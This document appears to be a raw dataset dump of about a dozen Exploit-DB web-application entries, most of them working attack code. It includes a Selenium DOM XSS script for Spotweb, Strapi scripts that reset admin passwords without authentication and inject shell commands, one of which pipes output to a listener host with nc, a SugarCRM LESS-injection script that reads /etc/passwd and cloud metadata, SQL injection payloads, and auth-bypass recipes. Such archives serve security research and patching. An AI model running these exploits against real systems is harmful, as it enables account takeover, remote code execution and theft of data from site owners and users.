deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49891
Description: Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-05-21
Author: nu11secur1ty

Exploit:
# Exploit Title: Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS) 
# Exploit Author: @nu11secur1ty
# Date: 05.20.2021
# Software Link: https://github.com/spotweb/spotweb
# Proof: https://streamable.com/hix5o1

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty

from selenium import webdriver
import time
import os, sys


# Vendor: https://www.nzbserver.com/
# Jump over login form :D
website_link="http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"

# enter your login username
username="nu11secur1ty"

# enter your login password
[CREDENTIAL_REDACTED]"

#enter the element for username input field
element_for_username="loginform[username]"

#enter the element for password input field
element_for_[CREDENTIAL_REDACTED][password]"

#enter the element for submit button
element_for_submit="loginform[submitlogin]"


#browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit Cross Site Scripting (DOM Based)
# Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

time.sleep(1)
# Payload link "esc-rule"
browser.get(("http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\`/*'/*"'/**/(/**/oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'""))

print("The payload is deployed DOM is BOMing you ':))'...\n")
os.system('pause')

browser.close()

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("DOM...")
Exploit-DB #13918
Description: Spring Framework - Arbitrary code Execution
Type: webapps
Platform: multiple
Date: 2010-06-18
Author: Meder Kydyraliev

Exploit:
CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Vendor:
SpringSource, a division of VMware

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:
The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This 
mechanism allows an attacker to modify the properties of the class loader used to load the object (via 
'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs 
used by the class loader to point to locations controlled by the attacker.

Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:
 - META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not 
classes;
 - tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following HTTP parameter: 
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's 
repositoryURLs property will be overwritten with attacker's URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag 
libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the 
jar file is performed by the URL class).

Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team

References:
[1] http://www.springsource.com/security/spring-framework
Exploit-DB #51218
Description: SQL Monitor 12.1.31.893 - Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2023-04-03
Author: geeklinuxman

Exploit:
# Exploit Title: SQL Monitor 12.1.31.893 - Cross-Site Scripting (XSS) 
# Date: [12/21/2022 02:07:23 AM UTC]
# Exploit Author: [geeklinuxman@gmail.com]
# Vendor Homepage: [https://www.red-gate.com/]
# Software Link: [https://www.red-gate.com/products/dba/sql-monitor/]
# Version: [SQL Monitor 12.1.31.893]
# Tested on: [Windows OS]
# CVE : [CVE-2022-47870]

 [Description]
 Cross Site Scripting (XSS) in the web SQL monitor login page in Redgate
 SQL Monitor 12.1.31.893 allows remote attackers to inject arbitrary web
 Script or HTML via the returnUrl parameter.

 [Affected Component] affected returnUrl in
https://sqlmonitor.*.com/Account/Login?returnUrl=&hasAttemptedCookie=True
 affected A tag under span with "redirect-timeout" id value

 [CVE Impact]
 disclosure of the user's session cookie, allowing an attacker to
hijack the user's session and take over the account.

 [Attack Vectors]
 to exploit the vulnerability, someone must click on the malicious A
HTML tag under span with "redirect-timeout" id value

 [Vendor]
 http://redgate.com
 http://sqlmonitor.com
 https://sqlmonitor.
Exploit-DB #17174
Description: SQL-Ledger 2.8.33 - (Authenticated) Local File Inclusion / Edit
Type: webapps
Platform: multiple
Date: 2011-04-15
Author: bitform

Exploit:
# Exploit Title: SQL-Ledger <= 2.8.33 Post-authentication Local File Include/Edit Vulnerability
# Google Dork: inurl:/sql-ledger/login.pl
# Date: April 15, 2011
# Author: bitform
# Software Link: http://www.sql-ledger.com/source/sql-ledger-2.8.33.tar.gz
# Version: 2.8.33
# Tested on: Ubuntu Server 10.04
# CVE : None

====================================================================

A vulnerability exists in the "Stylesheet" link of SQL-Ledger that lets you view the contents of the stylesheet you have associated with your login. An "Edit" link is at the bottom. If you edit the "file" post parameter you can enter any relative or absolute file (/etc/passwd, sql-ledger.conf) that the web server has permission to read. If you have read and write access, you can save your modifications to the file with the "Save" button. For example, everything including the sql-ledger.conf file is just a perl script, making dropping a perl shell trivial.

This vulnerability is triggered post-authentication but it can be triggered by any unprivileged user.

The vulnerable source can be found in bin/mozilla/am.pl.

====================================================================

I found this vulnerability at the Mid-Atlantic Collegiate Cyber Defense Competition (MACCDC) while pounding college kids into submission. :D

====================================================================

I contacted the vendor March 14, 2011 to inform them of the vuln and they responded on March 15, 2011 with the following response:

"Thank you for the report.

sql-ledger.conf should be set read-only or at least be owned by 'root:wheel'
and set -rw--r--r. If changes are required 'root' has to do them.
Anything else is a security hole.

If the distros set up the file in such a way that the system is vulnerable
you should contact them."

The "anything else is a security hole" comment was very vague and they gave me no indication that they were going to fix this. Hence, my submission to exploit-db.
Exploit-DB #52357
Description: Stacks Mobile App Builder 5.2.3 - Authentication Bypass via Account Takeover
Type: webapps
Platform: multiple
Date: 2025-07-08
Author: stealthcopter

Exploit:
# Exploit Title: Stacks Mobile App Builder 5.2.3 - Authentication Bypass via Account Takeover
# Date: October 25, 2024
# Exploit Author: stealthcopter
# Vendor Homepage: https://stacksmarket.co/
# Software Link: https://wordpress.org/plugins/stacks-mobile-app-builder/
# Version: <= 5.2.3
# Tested on: Ubuntu 24.10/Docker
# CVE: CVE-2024-50477
# References:
# - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
# - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover


1. Navigate to the target site and append the following query parameters to the URL to impersonate the user with ID `1`:
`/?mobile_co=1&uid=1`
2. You will now receive an authentication cookie for the specified user ID (typically, user ID `1` is the site administrator).
3. Visit `/wp-admin` — you should have full access to the admin dashboard.
Exploit-DB #50237
Description: Strapi 3.0.0-beta - Set Password (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2021-08-30
Author: David Anglada

Exploit:
# Exploit Title: Strapi 3.0.0-beta - Set Password (Unauthenticated)
# Date: 2021-08-29
# Exploit Author: David Anglada [CodiObert]
# Vendor Homepage: https://strapi.io/
# Version: 3.0.0-beta
# Tested on: Linux
# CVE: CVE-2019-18818

#!/usr/bin/python

import requests
import sys
import json

userEmail = "valid@email.com"
strapiUrl = "http://strapi.url"
new[CREDENTIAL_REDACTED]"

s = requests.Session()

# Get strapi version
strapiVersion = json.loads(s.get("{}/admin/strapiVersion".format(strapiUrl)).text)

print("[*] strapi version: {}".format(strapiVersion["strapiVersion"]))

# Validate vulnerable version
if strapiVersion["strapiVersion"].startswith('3.0.0-beta') or strapiVersion["strapiVersion"].startswith('3.0.0-alpha'):
	# Password reset
	print("[*] Password reset for user: {}".format(userEmail))
	resetPasswordReq={"email":userEmail, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(strapiUrl)}
	s.post("{}/".format(strapiUrl), json=resetPasswordReq)

	# Set new password
	print("[*] Setting new password")
	exploit={"code":{}, "password":newPassword, "passwordConfirmation":newPassword}
	r=s.post("{}/admin/auth/reset-password".format(strapiUrl), json=exploit)

	# Check if the password has changed
	if "username" in str(r.content):
		print("[+] New password '{}' set for user {}".format(newPassword, userEmail))
	else:
		print("\033[91m[-] Something went wrong\033[0m")
		sys.exit(1)
else:
	print("\033[91m[-] This version is not vulnerable\033[0m")
	sys.exit(1)
Exploit-DB #50238
Description: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-08-30
Author: David Utón

Exploit:
# Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 29/08/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://strapi.io/
# Affected Version: strapi-3.0.0-beta.17.7 and earlier
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2019-19609

#!/usr/bin/python3
# Author: @David_Uton (m3n0sd0n4ld)
# Github: https://m3n0sd0n4ld.github.io
# Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST

import requests, sys, os, socket

logoType = ('''
=====================================
CVE-2019-19609 - Strapi RCE
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
		''')

if __name__ == '__main__':

	# Parameter checking
	if len(sys.argv) != 5:
		print(logoType)
		print("[!] Some of these parameters are missing.")
		print('''
		Use: python3 %s http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST
		Example: python3 10.10.10.10 eyJHbGCi..... "id" 127.0.0.1''' % sys.argv[0])
	# Exploit run
	else:
		# Paremeters
		url = sys.argv[1]
		token = sys.argv[2]
		command = sys.argv[3]
		lhost = sys.argv[4]
		lport = 9999
		
		s = requests.session()
		
		r = s.post(url, verify=False) # SSL == verify=True
		
		headersData = {
			'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
			'Authorization': "Bearer %s" % token
		}

		postData = {
			"plugin":"documentation && $(%s > /tmp/.m3 && nc %s %s < /tmp/.m3 | rm /tmp/.m3)" % (command, lhost, lport)
		}
		
		print(logoType)
		os.system("nc -nvlp 9999 &")
		try:
			print("[+] Successful operation!!!")
			r = s.post(url + "/admin/plugins/install", headers=headersData, data=postData, verify=False) # SSL == verify=True
			# Content print
			print(r.text)
		except:
			print("[!] An error occurred, try again.")
			sys.exit(1)
Exploit-DB #50239
Description: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2021-08-30
Author: Musyoka Ian

Exploit:
# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
    print("[-] Wrong number of arguments provided")
    print("[*] Usage: python3 exploit.py <URL>\n")
    sys.exit()


class Terminal(Cmd):
    prompt = "$> "
    def default(self, args):
        code_exec(args)

def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
    else:
        print("[-] Version mismatch trying the exploit anyway")


def password_reset():
    global url, jwt
    session = requests.session()
    params = {"code" : {"$gt":0},
            "password" : "SuperStrongPassword1",
            "passwordConfirmation" : "SuperStrongPassword1"
            }
    output = session.post(f"{url}/admin/auth/reset-password", json = params).text
    response = json.loads(output)
    jwt = response["jwt"]
    username = response["user"]["username"]
    email = response["user"]["email"]

    if "jwt" not in output:
        print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
        sys.exit(1)
    else:
        print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
    global jwt, url
    print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
    headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
    print(out.text)

if __name__ == ("__main__"):
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]
    check_version()
    password_reset()
    terminal = Terminal()
    terminal.cmdloop()
Exploit-DB #49152
Description: Student Result Management System 1.0 - Authentication Bypass SQL Injection
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Ritesh Gohil

Exploit:
# Exploit Title: Student Result Management System 1.0 - Authentication Bypass SQL Injection
# Google Dork: N/A
# Date: 11/16/2020
# Exploit Author: Ritesh Gohil
# Vendor Homepage: https://projectnotes.org/it-projects/student-result-management-system-in-php-with-source-code/
# Software Link: https://projectnotes.org/download/studentms-zip/
# Version: 1.0
# Tested on: Win10 x64, Kali Linux x64
# CVE : N/A
######## Description
#################################################################
#
#
# An SQL injection vulnerability discovered in PHP Student Result Management System #
#
#
# Admin Login Portal is vulnerable to SQL Injection
#
#
#
# The vulnerability could allow for the improper neutralization of special elements #
# in SQL commands and may lead to the product being vulnerable to SQL injection. #
#
#
######################################################################################

Kindly Follow Below Steps:
1. Visit the main page of the Student Result Management System.
2. You will get an Admin Login Page.
3. Payload which you can use in Email and password field:
*AND 1=0 AND '%'='
*4. You will get Admin Access of the Student Result Management System.
Exploit-DB #14101
Description: Subdreamer Pro 3.0.4 - CMS Upload
Type: webapps
Platform: multiple
Date: 2010-06-28
Author: Battousai

Exploit:
__________         __    __                              .__ 
\\\\______   \\\\_____ _/  |__/  |_  ____  __ __  ___________  |__|
 |    |  _/\\\\__  \\\\\\\\   __\\\\   __\\\\/  _ \\\\|  |  \\\\/  ___/\\\\__  \\\\ |  |
 |    |   \\\\ / __ \\\\|  |  |  | (  <_> )  |  /\\\\___ \\\\  / __ \\\\|  |
 |______  /(____  /__|  |__|  \\\\____/|____//____  >(____  /__|
        \\\\/      \\\\/                             \\\\/      \\\\/   

######################################################
# Exploit Title: Subdreamer Pro v3.0.4 CMS upload Vulnerability
# Author: Battousai
# Home: http://hack.pro.mk & https://ssteam.ws
# Software Link:N/A
# Version: v3.0.4
# Tested on: Windows XP SP3, Linux Ubuntu 10.04
# CVE : N/A
#Dork: \\\"Website powered by Subdreamer CMS & Sequel Theme Designed by indiqo.media\\\"
######################################################


Exploit:

1. Register your account at: http://127.0.0.1/index.php?categoryid=4

2. After registring point your browser at: http://127.0.0.1/index.php?categoryid=2&p17_sectionid=2&p17_action=submitimage (and upload is complete)



######################################################
# Greetz to: SilenceD, Zer0Flag, Evilb4st4rd, internet
# KingPin, s3th, packetdeath, Horadrim, AnnexxEmpire
# sM10, 599eme Man, Xylitol, __KiNG, 777, sp1r1t
# d3v1l, AlphaDog, n3d
# and every living person at:
# http://hack.pro.mk & https://ssteam.ws
######################################################
Exploit-DB #35214
Description: Subex Fms 7.4 - SQL Injection
Type: webapps
Platform: multiple
Date: 2014-11-11
Author: Anastasios Monachos

Exploit:
=======================================================================================
Subex ROC Fraud Management System v7.4 - Unauthenticated Blind-Time Based SQL Injection
=======================================================================================

Affected Software: Subex ROC FMS v7.4 (and probably earlier versions)
Vendor Homepage		: http://www.subex.com/
Version			: 7.4
Remote			: Remote
Severity		: Very High
Discovered by		: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
CVE 			: CVE-2014-8728


[Summary]
A parameter at the login page of Subex ROC Fraud Management platform is vulnerable to blind-time based SQL injection.


[Vulnerability Details]
Authentication	: The exploitation can be performed by any unauthenticated user.
Page 		: http://ip:port/login/login
Backend DB 	: Oracle
POST Parameter 	: ranger_user[name]

Sample HTTP POST Request - Data only:
-------------------------------------
ranger_user%5Bname%5D=admin%27%20AND%203402%3D%28CASE%20WHEN%20%28ASCII%28SUBSTRC%28%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20GRANTED_ROLE%20FROM%20DBA_ROLE_PRIVS%20WHERE%20GRANTEE%3DUSER%20AND%20GRANTED_ROLE%3DCHR%2868%29%7C%7CCHR%2866%29%7C%7CCHR%2865%29%29%3DCHR%2868%29%7C%7CCHR%2866%29%7C%7CCHR%2865%29%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%2C1%2C1%29%29%20%3E%2047%29%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28122%29%7C%7CCHR%28102%29%7C%7CCHR%28100%29%7C%7CCHR%28114%29%2C5%29%20ELSE%203402%20END%29%20AND%20%27a%27%3D%27a&ranger_user%5Bpassword%5D=secuid0&commit=Login&ranger_user_i2%5Bfeatures%5D=0

Effect, the page will load with a delay of 5 seconds if the current database user is a member of the database administrators.

Using similar SQL statements an unauthenticated malicious visitor is able to enumerate various information from the backend database including those of usernames and password hashes (select ranger_user_name,hashed_password from ROCDB.PASSWORDS where rownum<2). The hashes can further be cracked and be used to access the application. Obviously if the DB user for the application has enough privileges you may be able to own the whole Oracle server.


[Timeline]
09/05/2012 - Advisory created, contacted Subex
15/05/2012 - Subex responded
15/05/2012 - Advisory details shared
17/05/2012 - Subex covered the issue in the latest patch cycle
30/08/2014 - Advisory published
Exploit-DB #52365
Description: SugarCRM 14.0.0 - SSRF/Code Injection
Type: webapps
Platform: multiple
Date: 2025-07-16
Author: Egidio Romano

Exploit:
# Exploit Title : SugarCRM 14.0.0 - SSRF/Code Injection
# Author: Egidio Romano aka EgiX
# Email : n0b0d13s@gmail.com

# Software Link: https://www.sugarcrm.com
# Affected Versions: All commercial versions before 13.0.4 and 14.0.1.
# CVE Reference: CVE-2024-58258
# Vulnerability Description:

User input passed through GET parameters to the /css/preview REST API
endpoint is not properly sanitized before parsing it as LESS code. This can
be exploited by remote, unauthenticated attackers to inject and execute
arbitrary LESS directives. By abusing the @import LESS statement, an
attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary
local files on the web server, potentially leading to the disclosure of
sensitive information.

# Proof of Concept:

#!/bin/bash

echo
echo "+----------------------------------------------------------------------+";
echo "| SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Exploit by EgiX |";
echo "+----------------------------------------------------------------------+";

if [ "$#" -ne 2 ]; then
    echo -ne "\nUsage.....: $0 <SugarCRM URL> <Local File or SSRF URL>\n"
    echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' 'config.php'"
    echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' '/etc/passwd'"
    echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
    echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
    exit 1
fi

urlencode() {
    echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
}

INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1&param=${INJECTION}")

if echo "$RESPONSE" | grep -q "________"; then
    echo -e "\nOutput for '$2':\n"
    echo "$RESPONSE" | sed '/________/q' | grep -v '________'
    echo
else
    echo -e "\nError: exploit failed!\n"
    exit 2
fi



# Credits: Vulnerability discovered by Egidio Romano.
# Original Advisory: http://karmainsecurity.com/KIS-2025-04
# Other References: https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/